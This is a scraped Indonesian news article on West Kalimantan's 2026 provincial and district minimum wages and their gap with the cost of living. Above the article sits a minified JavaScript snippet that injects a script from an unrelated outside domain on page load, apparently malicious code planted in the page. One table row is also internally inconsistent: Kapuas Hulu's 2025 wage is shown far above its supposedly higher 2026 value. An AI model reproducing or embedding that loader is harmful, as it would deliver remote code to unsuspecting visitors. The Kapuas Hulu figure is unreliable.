(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Sumber: Defrino Maasy (Pexels)
Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah Minimum Kabupaten/Kota (UMK) 2026. Kebijakan tersebut akan diberlakukan mulai 1 Januari hingga 31 Desember 2026.
Gubernur Kalbar, Ria Norsan, mengatakan UMP 2026 Kalimantan Barat mengalami kenaikan. Namun, angka UMP tersebut justru menjadi yang terendah se-Kalimantan.
Lantas, cukupkah untuk biaya hidup? Berikut daftar UMP dan UMK Kalimantan Barat 2026.
UMP atau Upah Minimum Provinsi adalah standar pengupahan bulanan terendah yang dibayarkan pengusaha kepada pekerja atau buruh dengan masa kerja kurang dari satu tahun yang berlaku di lingkup provinsi.
Penetapan UMP yang sebelumnya biasa dikenal dengan Upah Minimal Regional (UMR) dilakukan tergantung kondisi dan kegiatan ekonomi masing-masing daerah. Maka dari itu, setiap provinsi memiliki besaran UMP yang berbeda.
Penetapan UMP 2026 Kalimantan Barat dilakukan oleh gubernur berdasarkan pada Peraturan Pemerintah (PP) Nomor 49 Tahun 2025 tentang Pengupahan.
Pada PP tersebut, perhitungan UMP 2026 menggunakan formula baru, yaitu Inflasi + (Pertumbuhan Ekonomi x Alfa) dengan rentang Alfa 0,5–0,9. Alfa merupakan indeks tertentu yang menggambarkan kontribusi pekerja bagi ekonomi.
Sementara itu, UMK merupakan standar pengupahan terendah di lingkup kabupaten/kota. Penetapannya diambil dari rekomendasi bupati atau wali kota yang sebelumnya telah ditentukan oleh Dewan Pengupahan Kabupaten/Kota.
Ria Norsan secara resmi telah menetapkan UMP Kalimantan Barat 2026 sebesar Rp3.054.552 per bulan. Besaran UMP naik sebanyak 6,12 persen atau sebesar Rp176,266 dari UMP 2025 sebesar Rp2.878.286 per bulan.
Besaran kenaikan UMP telah disesuaikan dengan dengan kondisi perekonomian daerah serta kemampuan dunia usaha. Diharapkan kenaikan ini mampu meningkatkan kesejahteraan pekerja dan buruh di Kalimantan Barat.
Meskipun naik dari tahun lalu, UMP 2026 Kalimantan Barat merupakan yang terendah se-Kalimantan. Sementara itu, UMP 2026 tertinggi di Kalimantan dipegang oleh Provinsi Kalimantan Utara sebesar Rp3.775.243 per bulan.
Melalui Keputusan Gubernur Kalimantan Barat Nomor 1355/NAKERTRAN/2025 Tentang Upah Minimum Kabupaten/Kota di Provinsi Kalimantan Barat Tahun 2026, Ria Norsan selaku gubernur telah menandatangani besaran UMK 2026 se-Kalbar.
Berikut adalah rincian beserta kenaikannya dibandingkan UMK 2025.
| Kota/Kabupaten | UMK 2025 | UMK 2026 | Kenaikan |
| Kabupaten Ketapang | Rp3.396.367 | Rp3.561.801 | 4,87% |
| Kabupaten Kayong Utara | Rp3.220.756 | Rp3.370.586 | 4,65% |
| Kabupaten Bengkayang | Rp3.062.260 | Rp3.252.580 | 6,22% |
| Kota Singkawang | Rp3.074.566 | Rp3.247.387 | 5,62% |
| Kabupaten Mempawah | Rp2.878.286 | Rp3.220.801 | 11,9% |
| Kabupaten Landak | Rp3.054.905 | Rp3.211.256 | 5,12% |
| Kota Pontianak | Rp3.024.820 | Rp3.205.220 | 5,96% |
| Kabupaten Sambas | Rp3.015.520 | Rp3.202.663 | 6,21% |
| Kabupaten Sintang | Rp3.039.805 | Rp3.187.965 | 4,87% |
| Kabupaten Sanggau | Rp2.970.885 | Rp3.121.747 | 5,08% |
| Kabupaten Melawi | Rp2.953.711 | Rp3.109.431 | 5,27% |
| Kabupaten Kapuas Hulu | Rp5.924.501 | Rp3.106.259 | 6,22% |
| Kabupaten Kubu Raya | Rp2.878.286 | Rp3.100.000 | 7,7% |
| Kabupaten Sekadau | Rp2.878.286 | Rp3.120.000 | 8,3% |
UMK Kalimantan Barat 2026 tertinggi dimiliki oleh Kabupaten Ketapang sebesar Rp3.561.801 per bulan. Sementara UMK terendah ada di Kabupaten Kabupaten Kubu Raya dengan upah minimum Rp3.100.000 per bulan.
Seluruh perusahaan wajib menaati kebijakan UMP 2026 yang berlaku di Kalimantan Barat. Perlu diingat bahwa kebijakan ini akan berlaku mulai dari tanggal 1 Januari hingga 31 Desember 2026.
UMP tersebut berlaku kepada pekerja atau buruh dengan masa kerja kurang dari satu tahun. Apabila masa kerja sudah satu tahun atau lebih, kembali kepada struktur dan skala upah perusahaan.
Bagi perusahaan yang melanggar aturan tersebut, Pemerintah Provinsi Kalbar menyiapkan sanksi tegas, mulai dari sanksi administratif hingga pencabutan izin usaha sesuai peraturan perundang-undangan.
Sebagai provinsi dengan UMP terendah di Kalimantan, apakah UMP 2026 Kalimantan Barat cukup untuk memenuhi biaya layak hidup? Mari kita lihat besaran hidup layak di Kalbar.
Dikutip akun Instagram @kemnaker, Kebutuhan Hidup Layak (KHL) dijadikan sebagai patokan standar kebutuhan selama satu bulan agar pekerja atau buruh serta keluarganya dapat hidup layak.
KHL memiliki peran penting sebagai patokan UMP 2026 yang proses perhitungannya menggunakan Standar International Labour Organization (ILO).
Perhitungan KHL terdiri dari empat komponen, yaitu makanan, kesehatan dan pendidikan, kebutuhan pokok lainnya, serta perumahan atau tempat tinggal. Perhitungannya menggunakan rumus konsumsi per kapita dikali jumlah anggota rumah tangga dan dibagi jumlah anggota rumah tangga yang bekerja.
Pada Instagram @kemnaker, KHL Kalimantan Barat pada tahun 2025 sebesar Rp4.083.420 per bulan. Terdapat kesenjangan dengan UMP 2026 yang berada di angka Rp3.054.552 per bulan.
Adanya kesenjangan tersebut mengindikasikan bahwa sebagian pekerja akan sangat sulit untuk membiayai kehidupan sehari-hari selama sebulan dengan optimal.
Data tersebut diukur dari rata-rata pengeluaran per kapita sebulan untuk kebutuhan makanan, bukan makanan di setiap wilayah kabupaten dan kota di Kalimantan Barat. Perlu diketahui bahwa data ini hanya berupa perkiraan biaya hidup saja. (Kanalkalimantan.com/kk)
KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More
KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More
Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More
KANALKALIMANTAN.COM, MARTAPURA - Selain menyerahkan langsung bantuan keperluan masyarakat terdampak banjir Pemerintah Kabupaten Banjar juga… Read More
Upah Minimum Provinsi (UMP) dan Upah Minimum Kabupaten/Kota (UMK) Kalimantan Selatan 2026 akhirnya secara resmi… Read More
KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More
This website uses cookies.